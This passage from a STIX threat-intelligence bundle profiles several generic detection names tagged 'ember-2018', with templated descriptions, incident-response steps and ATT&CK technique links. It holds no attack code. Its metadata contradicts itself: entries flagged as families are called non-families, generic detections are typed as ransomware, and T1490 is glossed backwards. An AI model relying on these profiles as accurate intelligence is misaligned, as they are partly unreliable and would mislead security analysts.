      "description": "Xxybwe exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc56d6a0-c3eb-550a-84db-1ba797724fe1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8bc494-58a0-54ba-b9a1-e2e0d601dd90",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybwe exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66d0d11f-d7e8-59bd-a30c-34698d315f00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8bc494-58a0-54ba-b9a1-e2e0d601dd90",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybwe exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a76ab76f-0b06-5395-8417-fc96ba2cd043",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8bc494-58a0-54ba-b9a1-e2e0d601dd90",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybwe exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41cba520-8f1b-5974-90db-632af6262cb5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8bc494-58a0-54ba-b9a1-e2e0d601dd90",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybwe exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60405966-f715-5a25-bbc6-3412d1142758",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8bc494-58a0-54ba-b9a1-e2e0d601dd90",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybwe exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cce97bf2-bea6-5539-87bb-96cdc5393cb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxybyu",
      "description": "<h3>Executive Summary</h3>\n\"Xxybyu\" is a generic, machine-generated detection signature utilized by advanced heuristic antivirus engines and endpoint detection platforms. It is not a named malware family, but rather an indicator that a file exhibits suspicious, highly obfuscated, or trojan-like behaviors that warrant immediate quarantine and investigation.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe seemingly random string \"Xxybyu\" is typical of automated classification systems that flag files based on behavioral anomalies rather than static database matches. \n\nA file triggering an Xxybyu alert typically demonstrates several of the following characteristics:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using non-standard algorithms, a common tactic used by malware authors to hide the true payload from static analysis.</li>\n<li><strong>Suspicious API Calls:</strong> The program attempts to execute Windows APIs commonly associated with process injection, such as `VirtualAllocEx` or `CreateRemoteThread`, aiming to run malicious code within the context of a legitimate system process.</li>\n<li><strong>Unauthorized Network Connections:</strong> The executable attempts to establish outbound connections to unknown IP addresses or domains generated by a Domain Generation Algorithm (DGA) immediately upon execution.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family (like Emotet or Ryuk), an Xxybyu alert is a severe security event. It frequently indicates a zero-day threat, a newly compiled variant of existing malware, or a customized initial access dropper designed specifically to bypass perimeter defenses.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Quarantine:</strong> Isolate the endpoint from the corporate network immediately to prevent potential lateral movement or the download of secondary, more destructive payloads.</li>\n<li><strong>Dynamic Analysis:</strong> Extract the flagged executable and submit it to an isolated malware sandbox. Monitor its behavior to identify the true payload, focusing on registry modifications, dropped files, and network IOCs.</li>\n<li><strong>Enterprise-Wide Sweeps:</strong> Utilize the IOCs discovered during sandboxing to conduct a comprehensive threat hunt across all managed endpoints to ensure the threat has not propagated.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Xxybyu",
        "Suspicious.Xxybyu",
        "Heur.Xxybyu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxybyu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxybyu"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b19de58d-c489-5854-ac6c-cccdf95fa278",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cce97bf2-bea6-5539-87bb-96cdc5393cb9",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybyu exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36511d72-528a-5bc8-9889-371bc6b72ca8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cce97bf2-bea6-5539-87bb-96cdc5393cb9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybyu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2a60d49-9c8b-5431-a8dc-ebbec4a09e77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cce97bf2-bea6-5539-87bb-96cdc5393cb9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybyu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de398bde-2182-537a-9986-8470a3ce5321",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cce97bf2-bea6-5539-87bb-96cdc5393cb9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybyu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f176069-f0df-5e7c-9875-d15c1822b58d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cce97bf2-bea6-5539-87bb-96cdc5393cb9",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybyu exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dfbc5605-3d53-592a-a7de-31e5a11b9215",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxybzx",
      "description": "<h3>Executive Summary</h3>\n\"Xxybzx\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file that exhibits highly obfuscated, evasive, or trojan-like behaviors that warrant immediate quarantine and investigation.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Xxybzx\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using non-standard algorithms, a common tactic used by malware authors to hide the true payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Hollowing:</strong> The program attempts to execute Windows APIs (like `VirtualAllocEx`) to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n<li><strong>Unauthorized System Modifications:</strong> The file attempts to silently alter critical registry keys or create hidden scheduled tasks to establish persistence.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an Xxybzx alert is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed specifically to bypass perimeter defenses.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Quarantine:</strong> Isolate the endpoint from the corporate network immediately to prevent potential lateral movement or the download of secondary, more destructive payloads.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its dynamic behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Enterprise-Wide Sweeps:</strong> Utilize the IOCs discovered during sandboxing to conduct a comprehensive threat hunt across all managed endpoints to ensure the threat has not successfully propagated.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Xxybzx",
        "Suspicious.Xxybzx",
        "Heur.Xxybzx"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxybzx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxybzx"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00e488c9-9080-5d5f-ac7c-250fd9fba54b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfbc5605-3d53-592a-a7de-31e5a11b9215",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybzx exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3828aadc-766b-5152-adaa-3ddd5b167ee9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfbc5605-3d53-592a-a7de-31e5a11b9215",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybzx exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ae86147-6cd8-5068-af92-42330ebbdcd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfbc5605-3d53-592a-a7de-31e5a11b9215",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybzx exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ee0acfc-8b41-5ff0-a653-3187dc4ceb30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfbc5605-3d53-592a-a7de-31e5a11b9215",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybzx exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12082e4c-f1a9-50af-9a87-dc4ba5ffb8fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfbc5605-3d53-592a-a7de-31e5a11b9215",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybzx exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db217d2c-6a64-5392-a67a-4a5cb6c41ad6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfbc5605-3d53-592a-a7de-31e5a11b9215",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxybzx exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0f20b550-cdf2-558f-b1ae-461c271672a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxycbl",
      "description": "<h3>Executive Summary</h3>\n\"Xxycbl\" represents a generic threat identifier generated by heuristic analysis engines within endpoint protection platforms (EPP). It does not denote a specific malware family, but rather flags an executable file that displays behavioral patterns strongly associated with malicious activity, such as droppers, trojans, or ransomware precursors.\n\n<h3>Behavioral Analysis and Triggers</h3>\nSecurity vendors utilize automated naming conventions like \"Xxycbl\" when a file fails behavioral reputation checks but lacks a definitive signature. \n\nFiles assigned the Xxycbl identifier frequently exhibit the following anomalous behaviors:\n<ul>\n<li><strong>Persistence Mechanisms:</strong> Attempting to silently modify critical Windows Registry keys (e.g., `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) or create hidden Scheduled Tasks to ensure the program executes automatically upon system boot.</li>\n<li><strong>Defense Evasion:</strong> Actively attempting to disable Windows Defender, terminate EDR agent processes, or unhook user-mode APIs utilized by security software for monitoring.</li>\n<li><strong>Dropper Activity:</strong> Writing executable files (`.exe`, `.dll`) into temporary directories (`%TEMP%` or `%AppData%`) and subsequently executing them, which is a classic indicator of a primary payload being delivered.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nAn Xxycbl detection is a high-severity alert. Because the true nature of the threat is obfuscated, responders must assume the worst-case scenario: that the file is an initial access broker attempting to establish a beachhead for a larger, targeted attack on the enterprise network.\n\n<h3>Remediation and Mitigation</h3>\n<ul>\n<li><strong>Endpoint Isolation:</strong> Sever the affected machine's network connection immediately (either physically or via the EDR console) to halt any potential command-and-control (C2) communication.</li>\n<li><strong>Forensic Investigation:</strong> Capture a memory dump and disk image of the isolated host to determine exactly what the file attempted to execute, focusing on identifying the secondary payload.</li>\n<li><strong>IOC Blocking:</strong> Extract the file hash (SHA-256) and any network indicators observed during the alert, and proactively block them across all enterprise firewalls and endpoint security tools.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Xxycbl",
        "Generic.Xxycbl",
        "Suspicious.Xxycbl"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxycbl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxycbl"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52c2af8e-9def-566c-afe1-6659b9087ca7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f20b550-cdf2-558f-b1ae-461c271672a5",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycbl exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b787545c-ce75-5082-9c17-d13f425709b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f20b550-cdf2-558f-b1ae-461c271672a5",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycbl exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f292088-4068-5c61-982a-84db0f691c7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f20b550-cdf2-558f-b1ae-461c271672a5",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycbl exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4baf81f-c695-512a-b0e5-6504aba06574",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f20b550-cdf2-558f-b1ae-461c271672a5",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycbl exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45be4648-2371-5a21-b750-2a4d3ba54a02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f20b550-cdf2-558f-b1ae-461c271672a5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycbl exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6f137f5f-10c7-507a-98c2-c975ea3a982b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxycdl",
      "description": "<h3>Executive Summary</h3>\n\"Xxycdl\" is a generic detection identifier utilized by heuristic antivirus engines and endpoint protection platforms (EPP). It does not represent a specific, named malware family; rather, it is a machine-generated label applied to an executable file that exhibits highly suspicious, potentially malicious behavior without matching a known static signature.\n\n<h3>Behavioral Context and Heuristic Analysis</h3>\nThe seemingly random string \"Xxycdl\" is characteristic of automated naming conventions used by security vendors when an unknown file triggers behavioral alerts indicative of a trojan, dropper, or obfuscated payload.\n\nFiles flagged with the Xxycdl identifier frequently exhibit the following anomalous behaviors:\n<ul>\n<li><strong>High Code Entropy (Packing):</strong> The file is heavily obfuscated, compressed, or encrypted using custom, non-standard packers\u2014a common technique employed by malware authors to hide the true payload from static analysis and reverse engineering.</li>\n<li><strong>Unauthorized System Modifications:</strong> The executable attempts to silently modify critical Windows Registry keys (e.g., `Run`, `RunOnce`) or create hidden Scheduled Tasks to establish persistence upon system reboot.</li>\n<li><strong>Suspicious Network Activity:</strong> The program initiates outbound connections to untrusted or newly registered domains immediately upon execution, often indicative of command-and-control (C2) communication or an attempt to download a secondary payload.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nDespite the generic naming convention, an Xxycdl detection must be treated as a severe security event. The generic nature of the alert means the true intent of the file is unknown; it could be a simple Potentially Unwanted Program (PUP) or the precursor to a targeted, highly destructive ransomware attack.\n\n<h3>Investigation and Remediation Strategy</h3>\n<ul>\n<li><strong>Endpoint Isolation:</strong> Instantly isolate the affected endpoint from the corporate network to prevent potential lateral movement and halt any ongoing data exfiltration or C2 communication.</li>\n<li><strong>Threat Intelligence and Sandboxing:</strong> Extract the file hash and query it against threat intelligence platforms (like VirusTotal). Simultaneously, submit the file to a secure sandbox to observe its dynamic behavior and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Proactive Threat Hunting:</strong> Utilize the IOCs gathered from the sandbox analysis (such as IP addresses, dropped file names, or specific registry changes) to sweep the entire enterprise network and ensure the threat is fully contained.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Xxycdl",
        "Trojan.Generic",
        "Suspicious.Xxycdl"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxycdl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxycdl"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8966d7f-3085-5100-9612-7373bc8513a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f137f5f-10c7-507a-98c2-c975ea3a982b",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycdl exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c4b336d-65f8-5948-89d1-aacd1aaa09cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f137f5f-10c7-507a-98c2-c975ea3a982b",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycdl exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2e790cb-a476-548f-a02e-b8c6f98cdb40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f137f5f-10c7-507a-98c2-c975ea3a982b",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycdl exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99a770f1-c2f6-5b12-98c7-228ef02761ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f137f5f-10c7-507a-98c2-c975ea3a982b",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycdl exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5500a16-8445-5951-b3a6-027f3c83756b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f137f5f-10c7-507a-98c2-c975ea3a982b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycdl exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--548a8ac3-5117-5e60-a773-0d88623d8efa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxycec",
      "description": "<h3>Executive Summary</h3>\n\"Xxycec\" represents a generic threat identifier generated by heuristic analysis engines within endpoint protection platforms (EPP). It does not denote a specific malware family, but rather flags an executable file that displays behavioral patterns strongly associated with malicious activity, such as droppers, trojans, or ransomware precursors.\n\n<h3>Behavioral Analysis and Triggers</h3>\nSecurity vendors utilize automated naming conventions like \"Xxycec\" when a file fails behavioral reputation checks but lacks a definitive signature. \n\nFiles assigned the Xxycec identifier frequently exhibit the following anomalous behaviors:\n<ul>\n<li><strong>Persistence Mechanisms:</strong> Attempting to silently modify critical Windows Registry keys (e.g., `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) or create hidden Scheduled Tasks to ensure the program executes automatically upon system boot.</li>\n<li><strong>Defense Evasion:</strong> Actively attempting to disable Windows Defender, terminate EDR agent processes, or unhook user-mode APIs utilized by security software for monitoring.</li>\n<li><strong>Dropper Activity:</strong> Writing executable files (`.exe`, `.dll`) into temporary directories (`%TEMP%` or `%AppData%`) and subsequently executing them, which is a classic indicator of a primary payload being delivered.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nAn Xxycec detection is a high-severity alert. Because the true nature of the threat is obfuscated, responders must assume the worst-case scenario: that the file is an initial access broker attempting to establish a beachhead for a larger, targeted attack on the enterprise network.\n\n<h3>Remediation and Mitigation</h3>\n<ul>\n<li><strong>Endpoint Isolation:</strong> Sever the affected machine's network connection immediately (either physically or via the EDR console) to halt any potential command-and-control (C2) communication.</li>\n<li><strong>Forensic Investigation:</strong> Capture a memory dump and disk image of the isolated host to determine exactly what the file attempted to execute, focusing on identifying the secondary payload.</li>\n<li><strong>IOC Blocking:</strong> Extract the file hash (SHA-256) and any network indicators observed during the alert, and proactively block them across all enterprise firewalls and endpoint security tools.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Xxycec",
        "Generic.Xxycec",
        "Suspicious.Xxycec"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xxycec",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xxycec"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc0c9074-1fb7-5d41-bef5-c745bf38c446",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--548a8ac3-5117-5e60-a773-0d88623d8efa",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycec exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfc63c84-05c3-575b-a54d-e587a82d2c05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--548a8ac3-5117-5e60-a773-0d88623d8efa",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xxycec exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16608a37-f9bd-5439-bd52-27bcb180d59f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--548a8ac3-5117-5e60-a773-0d88623d8efa",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
